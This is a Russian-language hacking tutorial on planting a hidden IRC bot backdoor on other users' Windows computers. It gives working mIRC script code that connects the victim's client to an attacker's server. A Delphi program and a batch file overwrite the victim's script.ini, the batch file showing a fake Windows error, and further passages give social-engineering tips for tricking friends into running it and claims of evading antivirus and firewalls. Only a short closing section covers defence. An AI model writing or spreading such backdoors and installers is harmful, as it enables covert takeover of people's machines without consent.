Вешаем бота на винды.



1. Intro.
2. Трояны.
3. mIRC скрипты.
    I. пишем свой скриптовый бэкдор
    II. пишем на delphi прогу, которая вставит бэкдора во вражеский mIRC
    III. пишем на batch'ах прогу, которая вставит бэкдора во вражеский mIRC
    IV. cоциальный инженеринг: впариваем прогу =)
4. Оба способа в сравнении.
5. Как защититься.
6. Outro.

1. В наши времена, среди владельцев популярных каналов, стало модным вешать на чанелы по дюжине ботов с разных linux shell'ов для обеспечения, так сказать, "безопасности канала". Я, конечно, ничего не имею против всяких там eggdrop'ов, но как быть простым смертным юзерам, у которых нет ни шелла, ни сс, ни знаний (как например у элиты с канала #31337 на сервере irc.dal.net.ru =)? Так вот в этой статье я расскажу, как повесить бота на машину с win-подобной операционкой.
Имхо, существует только два способа осуществить это: трояны и трояны =) Начнём с первого.

2. Если ты был на мсне (irc.msn.com) перед его закрытием, то ,наверное, успел насладиться n-ным кол-вом ботов на каналах #russian_chat, #russian_girls, #russian_andybig и тд. Так вот, эти боты далеко не eggdrop'ы. Это, так сказать, SubSeven'ы. Слышал про такой конь? Sub7 единственный троян на моей памяти, который позволял удалённо вешать irc-бота (я давно не юзал троянов, так что не знаю, появились ли у него аналоги). Так что качай Sub'a отсюда и наслаждайся. Те же, кто не привыкли искать лёгких путей, могут читать дальше.

3. Возможности mirc-скриптов оочень даже внушительны. Написать на них тот же самый сgi-сканнер плёвое дело, не говоря уж о простеньком боте. Для примера возьмём скрипт WarSatan. В него как раз и встроен такой "простенький бот". Когда вы соединяетесь со своим любимым irc-сервером, скрипт попутно коннектит юзера guest к серверу irc.webchat.org и заводит его на каналы #CHATOP, #MEKAH и #PANGKOR. Вот и весь механизм работы. Наша задача - написать такого же простого бэкдора в виде мирк-плагина.
  I.Hаиболее важные строчки буду комментировать.

on 1:CONNECT:{
  ;#открываем соединение с твоим irc cервером
  .sockopen 31337 irc_сервер его_порт
}
on 1:DISCONNECT:{
  ;#при разрыве соединения убиваем сокет
  .sockclose 31337
}
on 1:SOCKOPEN:31337:{
  ;#авторизуемся на irc-сервере
  .sockwrite -n $sockname USER BOT "" "localhost" :Satanic bot
  .sockwrite -n $sockname NICK ник_бота $+ $r(1,999)
  ;#заходим на твой канал
  .sockwrite -n $sockname join твой_канал
}
on 1:SOCKREAD:31337:{
  ;#этот скрипт автоматически отвечает на серверный ping
  ;#без него сервер будет кидать бота, потому что тот не отвечает на пинги
  .sockread %tmp
  if ($gettok(%tmp,1,32) == ping) {
    .sockwrite -n $sockname PONG $gettok(%tmp,2-,32)
  }
}


Убираем комментарии, подставляем свои значения, нумеруем строки (просто скопируй это всё в mIRC-редактор и сохрани - он сам всё пронумерует) и сохраняем получившееся в файл control.dll.
Сам бэкдор готов. Теперь осталось вставить его в чужой script.ini.
 
  II. Вот исходник на delphi проги, которая ищет на винте файл script.ini и, при удачном исходе поиска, подменяет его нашим.

Важно! Control.dll нужно содержать в одном каталоге с данной прогой.

program Project1;

uses
SysUtils,
windows,
shellapi;


const search = 'script.ini'; //файл который нужно найти и заменить
replace = 'control.dll'; //файл, которым надо заменить, должен быть
// в том же месте откуда запуститься эта прога =)


var buf: array [0..255] of char;
fl: PChar;
flag:boolean = false;

//процедура замены файлов
procedure Change(where:pchar);

function CopyFile(FromFile, ToDir : string) : boolean; //функция копирования
var F : TShFileOpStruct;
begin
F.Wnd := 0; F.wFunc := FO_COPY;
FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION or FOF_SILENT;
{$I-}
result:=ShFileOperation(F) = 0;
{$I+}
end;

begin
DeleteFile(where);
CopyFile(replace,where)
end;


//процедура глоб. поиска
function Find(DirN: string):boolean;
var
tsr: TSearchRec;
Full: string;

begin
find:=false;
if FindFirst(DirN + '\*.*', faAnyFile, tsr) = 0 then
repeat
if (tsr.Name = '.') or (tsr.Name = '..') then continue;
Full:= DirN + '\' + tsr.Name;
if tsr.Attr = faDirectory then //если каталог
Find(Full);
until (FindNext(tsr) <>0)or(tsr.Name = search)or flag;

if tsr.Name = search //если нашли
then begin
find:=true;
flag:=true;
Change(pchar(DirN+'\'+tsr.Name));
end;

end;


//Основной блок программы
begin
if SearchPath(nil,search,nil,sizeof(buf),buf,fl)>0 then
Change(buf)
else
begin
Find('c:');
// если надо и на других дисках искать то можешь сделать так:
// if Not Find('c:') then
// if Not Find('d:') then
// if Not Find('e:') then
//etc....
end;

end.


   III. Если же ты с роду не занимался кодингом и тя бросает в дрожжь от слова "компилятор", давай напишем такую прогу на batch'ах.

echo off
cls
if exist mirc.ini goto in_the_same_dir
if exist c:\mirc\MIRC.INI set mirc=c:\mirc
if exist c:\mirc\mirc\MIRC.INI set mirc=c:\mirc\mirc
if exist c:\irc\MIRC.INI set mirc=c:\irc
if exist c:\irc\mirc\MIRC.INI set mirc=c:\irc\mirc
if exist c:\chat\mirc\MIRC.INI set mirc=c:\chat\mirc
if exist c:\chat\MIRC.INI set mirc=c:\chat
if exist c:\progra~1\mirc\MIRC.INI set mirc=c:\progra~1\mirc
if exist c:\chat\looksharp\MIRC.INI set look=c:\chat\looksharp
if exist c:\mirc\looksharp\MIRC.INI set look=c:\mirc\looksharp
if exist c:\irc\looksharp\MIRC.INI set look=c:\irc\looksharp
if exist c:\progra~1\looksharp\MIRC.INI set look=c:\progra~1\looksharp
if exist c:\progra~1\trion\MIRC.INI set neo=c:\progra~1\trion
if exist c:\progra~1\neo-ra\MIRC.INI set neo=c:\progra~1\neo-ra
if exist c:\progra~1\NeoRa\Trion\MIRC.INI set neo=c:\progra~1\NeoRa\Trion
if exist c:\progra~1\NeoRa\MIRC.INI set neo=c:\progra~1\NeoRa
if exist c:\chat\NeoRa\MIRC.INI set neo=c:\chat\NeoRa
if exist c:\irc\NeoRa\MIRC.INI set neo=c:\irc\NeoRa
if exist c:\chat\neo-ra\MIRC.INI set neo=c:\chat\neo-ra
if exist c:\irc\neo-ra\MIRC.INI set neo=c:\irc\neo-ra
if exist c:\chat\Trion\MIRC.INI set neo=c:\chat\Trion
if exist c:\irc\Trion\MIRC.INI set neo=c:\irc\Trion
if exist c:\Trion\MIRC.INI set neo=c:\Trion
if exist c:\NeoRa\MIRC.INI set neo=c:\NeoRa
if exist c:\Neo-ra\MIRC.INI set neo=c:\Neo-ra
if exist d:\chat\NeoRa\MIRC.INI set neo_here=d:\chat\NeoRa
if exist d:\irc\NeoRa\MIRC.INI set neo_here=d:\irc\NeoRa
if exist d:\chat\neo-ra\MIRC.INI set neo_here=d:\chat\neo-ra
if exist d:\irc\neo-ra\MIRC.INI set neo_here=d:\irc\neo-ra
if exist d:\chat\Trion\MIRC.INI set neo_here=d:\chat\Trion
if exist d:\irc\Trion\MIRC.INI set neo_here=d:\irc\Trion
if exist d:\Trion\MIRC.INI set neo=d:\Trion
if exist d:\NeoRa\MIRC.INI set neo=d:\NeoRa
if exist d:\Neo-ra\MIRC.INI set neo=d:\Neo-ra
if exist d:\mirc\MIRC.INI set mirc=d:\mirc
if exist d:\mirc\mirc\MIRC.INI set mirc=d:\mirc\mirc
if exist d:\irc\MIRC.INI set mirc=d:\irc
if exist d:\irc\mirc\MIRC.INI set mirc=d:\irc\mirc
if exist d:\chat\mirc\MIRC.INI set mirc=d:\chat\mirc
if exist d:\chat\MIRC.INI set mirc=d:\chat
if exist d:\looksharp\MIRC.INI set look=d:\looksharp
if exist d:\chat\looksharp\MIRC.INI set look=d:\chat\looksharp
if exist d:\mirc\looksharp\MIRC.INI set look=d:\mirc\looksharp
if exist d:\irc\looksharp\MIRC.INI set look=d:\irc\looksharp
if "%mirc%"=="" goto no_mirc
deltree /y %mirc%\script.ini
copy control.dll %mirc%\script.ini
cls
:no_mirc
if "%look%"=="" goto no_look
deltree /y %look%\System\lookevents04.sys
copy control.dll %look%\System\lookevents04.sys
cls
:no_look
if "%neo%"=="" goto end
deltree /y %neo%\root\trionscr7.ini
copy control.dll %neo%\root\trionscr7.ini
cls
goto end
:in_the_same_dir
deltree /y script.ini
copy control.dll script.ini
:end
echo Your Microsoft Windows is not correctly installed.
echo Pleas re-install it and try again

Эта байда методом тыка ищет mIRC, NeoRa Trion и Looksharp. Вероятность нахождения довольно незначительна, так что желательно уломать субъекта положить это файло вместе с control.dll в один каталог с его irc-клиентом. В случае удачного исхода поиска, файло подменяет чужой script.ini нашим control.dll.
Сконвертируй этот bat'ник в exe'шник каким-нибудь bat2exec'ом и можешь впаривать своим друзьям.

  IV. Думаю, не мне тебе рассказывать о том, как "впаривать" кому-то exe'шник. Просто хочется подчеркнуть одну особенность. Согласись, просьба запустить твой exe'шник вызывет подозрение даже у самого недалёкого юзера. Так что, можно пойти другим путём. Для этого вернёмся к пункту I. НЕ НУМЕРУЙ строчки скрипта, просто засунь его в файл joke.mrc. Всё. Теперь раздавай его своим друзьям со словами: положи его в каталог со своим мирком, введи в его консоли "/load -rs joke.mrc" и наслаждайся всеми прелестями плагина =)

4. И так, чем же способ с подменой script.ini лучше?
1) не ловится антивирусами
2) не ловится FairWall'ами. Думаю, многие сразу с пеной изо рта начнут доказывать, что ZoneAlarm и AtGuard оберегут их от этого. Спец для них объясняю: если mIRC в этих двух фаирволах прописан как Allowed server\client, то фв даже не пикнет при открытии соединения бэкдором.
3) трудно обнаружить\убить даже опытному юзеру

5. Ну а теперь о том, как собственно защититься. Опять же не буду рассматривать способ с Sub7'ом (т.к. с ним всё понятно: AVP + ZoneAlarm), сразу перейду ко второму.
Для обнаружения скриптового бэкдора стоит воспользоваться каким-нибудь mIRC плагином вроди IPSearch'a, который поискал бы на сервере юзера с таким же ипом как у тебя. Если таковой имеется, значит кто-то однозначно повесил на тебя бота. Если же такой не найден, значит или бот на другом сервере, или ты чист.
Также, для обнаружения бота можно использовать тот же самый ZAlarm: на данный момент, крупнейшие IRC серверы, проверяют всех клиентов на прокси. Каким образом? Простым сканированием портов. Так вот, если ты коннектишься к серверу irc.some.com, a порты у тя сканирует какой-нибудь irc.lame.com, то стоит задумкаться...
Как убить бэкдора? Если не разбираешься в скриптинге, просто переустанови irc клиент.

6. Ну что можно сказать в завершении? Не юзайте незнакомые скрипты и не заставляйте других это делать =)




Дата створення/оновлення: 25.05.2018

stop war in Ukraine

ukrTrident

stand with Ukraine